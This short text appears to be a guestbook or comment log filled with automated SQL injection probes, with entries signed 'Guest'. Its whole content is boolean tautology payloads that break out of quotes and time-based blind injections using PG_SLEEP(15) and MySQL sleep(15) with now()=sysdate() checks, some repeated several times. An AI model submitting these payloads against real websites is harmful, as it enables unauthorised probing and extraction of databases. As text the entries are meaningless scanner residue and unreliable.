Guest:
1-1)) OR 440=(SELECT 440 FROM PG_SLEEP(15))--


Guest:
1-1)) OR 440=(SELECT 440 FROM PG_SLEEP(15))--


-1 OR 2+343-343-1=0+0+0+1 --

-1 OR 2+453-453-1=0+0+0+1

-1' OR 2+744-744-1=0+0+0+1 --

-1' OR 2+130-130-1=0+0+0+1 or 'xdqDByeQ'='

-1" OR 2+953-953-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

Guest:
1-1)) OR 440=(SELECT 440 FROM PG_SLEEP(15))--
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

Guest:
1-1)) OR 440=(SELECT 440 FROM PG_SLEEP(15))--
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z